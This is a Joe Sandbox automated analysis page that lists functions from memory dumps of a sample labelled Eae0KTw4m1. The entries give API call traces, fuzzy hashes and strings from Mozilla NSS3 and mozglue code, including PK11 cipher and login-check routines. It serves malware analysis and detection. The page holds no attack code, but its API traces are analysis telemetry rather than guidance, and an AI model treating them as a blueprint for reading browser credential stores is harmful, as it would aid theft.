Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: d34dbde168f994a41a79a63624d1bccf28599b8a0e3a4789f1d3efd83fe6657b
Instruction ID: 9c022113d6a0a0e718b4d5be935d2f582ec260ad43bb3028b3f7dba7aeadee5f
Opcode Fuzzy Hash: d34dbde168f994a41a79a63624d1bccf28599b8a0e3a4789f1d3efd83fe6657b
Instruction Fuzzy Hash: B9317DB3A0464053F720523D6E497AA3A989F9132CF240B37D999D7BC2FB2BD4469183

Function 6C7F0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F086C

Part of subcall function 6C7F0930: EnterCriticalSection.KERNEL32(?,00000000,?,6C7F0C83), ref: 6C7F094F
Part of subcall function 6C7F0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C7F0C83), ref: 6C7F0974
Part of subcall function 6C7F0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C7F0983
Part of subcall function 6C7F0930: _PR_MD_UNLOCK.NSS3(?,?,6C7F0C83), ref: 6C7F099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C7F798A), ref: 6C7F08AA
free.MOZGLUE(?,00000000,00000000,?,?,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F08C7
free.MOZGLUE(?,00000000,00000000,?,?,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F08E9
free.MOZGLUE(?,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C7F7AE2,?,?,?,?,?,?,6C7F798A), ref: 6C7F090E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: e49754af73e4fd28b6b02e956bfd35b37fc3df67c3f18031437b7e87e0cb2964
Instruction ID: 7716d273db6448952626cbfa19da334f5ad1d36ba4c7bfcebf9bdd21a6741242
Opcode Fuzzy Hash: e49754af73e4fd28b6b02e956bfd35b37fc3df67c3f18031437b7e87e0cb2964
Instruction Fuzzy Hash: 5911B6F1B022584BFF20BB99DA857463778AB4135CF194235E82987741DB31EC25CBD2

Function 6C664F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C664FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6651BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6651A5
%s at line %d of [%.10s], xrefs: 6C6651B4
unable to delete/modify user-function due to active statements, xrefs: 6C6651DF
misuse, xrefs: 6C6651AF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: bc93e6981bb0ab1825c11f4620b944df43d257d890b25add09bc00addc537526
Instruction ID: 3f98a7853ba7008089d59bb7e3c0114d64c159f6bba34c06b63ec73b5435bb2b
Opcode Fuzzy Hash: bc93e6981bb0ab1825c11f4620b944df43d257d890b25add09bc00addc537526
Instruction Fuzzy Hash: DD71ADB160420A9FEB00CE56CD81BDA77B5BF88308F044524FD199BF82D335E854CBA6

Function 6C72AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C72AB3E,?,?,?), ref: 6C72AC35

Part of subcall function 6C70CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C70CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C72AB3E,?,?,?), ref: 6C72AC55

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C72AB3E,?,?), ref: 6C72AC70

Part of subcall function 6C70E300: TlsGetValue.KERNEL32 ref: 6C70E33C
Part of subcall function 6C70E300: EnterCriticalSection.KERNEL32(?), ref: 6C70E350
Part of subcall function 6C70E300: PR_Unlock.NSS3(?), ref: 6C70E5BC
Part of subcall function 6C70E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C70E5CA
Part of subcall function 6C70E300: TlsGetValue.KERNEL32 ref: 6C70E5F2
Part of subcall function 6C70E300: EnterCriticalSection.KERNEL32(?), ref: 6C70E606
Part of subcall function 6C70E300: PORT_Alloc_Util.NSS3(?), ref: 6C70E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C72AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C72AB3E), ref: 6C72ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C72AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C72AD2B

Part of subcall function 6C70F360: TlsGetValue.KERNEL32(00000000,?,6C72A904,?), ref: 6C70F38B
Part of subcall function 6C70F360: EnterCriticalSection.KERNEL32(?,?,?,6C72A904,?), ref: 6C70F3A0
Part of subcall function 6C70F360: PR_Unlock.NSS3(?,?,?,?,6C72A904,?), ref: 6C70F3D3

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: f127c85eeb01202d6f22f230c0dab0b204cb0ef1d81f40a4bc79398b41e9fdd0
Instruction ID: 334f809fc81052de448ce27a727852b41bd05318d0a834077404be83dd4a635f
Opcode Fuzzy Hash: f127c85eeb01202d6f22f230c0dab0b204cb0ef1d81f40a4bc79398b41e9fdd0
Instruction Fuzzy Hash: 3A3139B1E006095FEB048F69CE499AF77B6EF84338B188139E8149BB41EB35DC55C7A1

Function 6C708C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C708C7C

Part of subcall function 6C7A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7F0A27), ref: 6C7A9DC6
Part of subcall function 6C7A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7F0A27), ref: 6C7A9DD1

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C708CB0
TlsGetValue.KERNEL32 ref: 6C708CD1
EnterCriticalSection.KERNEL32(?), ref: 6C708CE5
PR_Unlock.NSS3(?), ref: 6C708D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C708D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C708D93

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockValuestrlen
String ID:
API String ID: 2830306428-0
Opcode ID: 0df888fabd86232e37ce08844513b5ca3b90efe8c50c708e8817e59f16f1b114
Instruction ID: 8f25037c6792b178e7b9bcc901c214d2962137f700ee07871116a09ff6df39fd
Opcode Fuzzy Hash: 0df888fabd86232e37ce08844513b5ca3b90efe8c50c708e8817e59f16f1b114
Instruction Fuzzy Hash: 373148B1B01201AFD710AF68DD4979A77F0BF5831CF140236EA1967B90D770A924C7D1

Function 6C702E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C6FE728,?,00000038,?,?,00000000), ref: 6C702E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C702E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C702E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C702E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C702E9E
PR_Unlock.NSS3(?), ref: 6C702EAB
PR_Unlock.NSS3(?), ref: 6C702F0D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 82901cd9494eb5f83e44917606f8e8bf0e3942ee873efd929ba96562710bd9df
Instruction ID: 3eefb8e42ecb65ec50ef9cf3981395e381c0639c14438c980e58bb0631cc5f00
Opcode Fuzzy Hash: 82901cd9494eb5f83e44917606f8e8bf0e3942ee873efd929ba96562710bd9df
Instruction Fuzzy Hash: 5A310AB6B00105ABEB106F64DC8886AB7B9FF4625CB158575ED18C7711EB31EC64C7E0

Function 6C74CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C74CD93,?), ref: 6C74CEEE

Part of subcall function 6C7414C0: TlsGetValue.KERNEL32 ref: 6C7414E0
Part of subcall function 6C7414C0: EnterCriticalSection.KERNEL32 ref: 6C7414F5
Part of subcall function 6C7414C0: PR_Unlock.NSS3 ref: 6C74150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C74CD93,?), ref: 6C74CEFC

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C74CD93,?), ref: 6C74CF0B

Part of subcall function 6C740840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7408B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C74CD93,?), ref: 6C74CF1D

Part of subcall function 6C73FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C738D2D,?,00000000,?), ref: 6C73FB85
Part of subcall function 6C73FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C73FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C74CD93,?), ref: 6C74CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C74CD93,?), ref: 6C74CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C74CD93,?,?,?,?,?,?,?,?,?,?,?,6C74CD93,?), ref: 6C74CF78

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 7551141f96ae2c48437e0abaaf5b0a0199388e32de31b819a0d00c1f501b1f18
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 4511B4B6E002045BEB00AA7A7E49B6BB5EC9F5454EF048039EC09D7B41FB75D91CC6B1

Function 6C6084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085AC

Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C60767F
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C607693
Part of subcall function 6C607670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6085B2

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction ID: 60617095c7f1371ff721013b98745b418f7a3bde70f5c1420839065037e7667c
Opcode Fuzzy Hash: 971c5d308855dfda1ad7c7dfbbf38e67c9430c7d09c86c9db0d4b9c61c6797c9
Instruction Fuzzy Hash: 6C21A3743006019FDB19DF25C888A5A77B5AF8930DF24882DE55BD3B41DB32F948CB59

Function 6C6F8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6F8C1B
EnterCriticalSection.KERNEL32 ref: 6C6F8C34
PL_ArenaAllocate.NSS3 ref: 6C6F8C65
PR_Unlock.NSS3 ref: 6C6F8C9C
PR_Unlock.NSS3 ref: 6C6F8CB6

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

Strings

KRAM, xrefs: 6C6F8C8F

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 5e8dd061cbb8369a5540d1fc52aa86f72a16081162a370a98d0623a5c9392e2d
Instruction ID: c2ed48de8823d25f94b2a0362030dffcf38c2bcb98e2790da71799f145d072c5
Opcode Fuzzy Hash: 5e8dd061cbb8369a5540d1fc52aa86f72a16081162a370a98d0623a5c9392e2d
Instruction Fuzzy Hash: D42191B16056018FD700AF79C498559BBF5FF0A308F0589AED8988B711DB35D886CB99

Function 6C708E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C722E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6F4F1C), ref: 6C708EA2

Part of subcall function 6C72F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C72F854
Part of subcall function 6C72F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C72F868
Part of subcall function 6C72F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C72F882
Part of subcall function 6C72F820: free.MOZGLUE(04C483FF,?,?), ref: 6C72F889
Part of subcall function 6C72F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C72F8A4
Part of subcall function 6C72F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C72F8AB
Part of subcall function 6C72F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C72F8C9
Part of subcall function 6C72F820: free.MOZGLUE(280F10EC,?,?), ref: 6C72F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C722E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6F4F1C), ref: 6C708EC3
TlsGetValue.KERNEL32(?,?,?,6C722E62,?,?,?,?,?,?,?,00000000,?,?,?,6C6F4F1C), ref: 6C708EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C722E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C708EF1
PR_Unlock.NSS3 ref: 6C708F20

Strings

b.rl, xrefs: 6C708E96, 6C708F25

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.rl
API String ID: 1978757487-3686120825
Opcode ID: 72e5610b541ecd80ea01fb49c43560443e3e747f47e8913e0ed2bad31aed7f60
Instruction ID: 033651fd27de953745927a8537deaafc7432f0403bd73969437c02cdbfe79583
Opcode Fuzzy Hash: 72e5610b541ecd80ea01fb49c43560443e3e747f47e8913e0ed2bad31aed7f60
Instruction Fuzzy Hash: C1217EB0A096059FC700AF39D688599BBF4FF48318F05466EE8989BB41D730E854CBD2

Function 6C7F2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C7F2CA0
PR_ExitMonitor.NSS3 ref: 6C7F2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C7F2CD1
strdup.MOZGLUE(?), ref: 6C7F2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C7F2D27

Strings

Loaded library %s (static lib), xrefs: 6C7F2D22

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 2798ecf8db5e09fe7020f34975a59c08e9764f03031f01c92234cba1bd119fbc
Instruction ID: ce192bb5c136fb1b45666724a518dabeb9fd2aae29b49bcd0b53b1bf410af1aa
Opcode Fuzzy Hash: 2798ecf8db5e09fe7020f34975a59c08e9764f03031f01c92234cba1bd119fbc
Instruction Fuzzy Hash: DB1122B06002908FEB209F19E988A667BB4AB4630DF04853DD819C7B01E731EC1ACBE1

Function 6C6E68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6E68FB
EnterCriticalSection.KERNEL32 ref: 6C6E6913
PORT_FreeArena_Util.NSS3 ref: 6C6E693E
PR_Unlock.NSS3 ref: 6C6E6946
DeleteCriticalSection.KERNEL32 ref: 6C6E6951
free.MOZGLUE ref: 6C6E695D
PR_Unlock.NSS3 ref: 6C6E6968

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

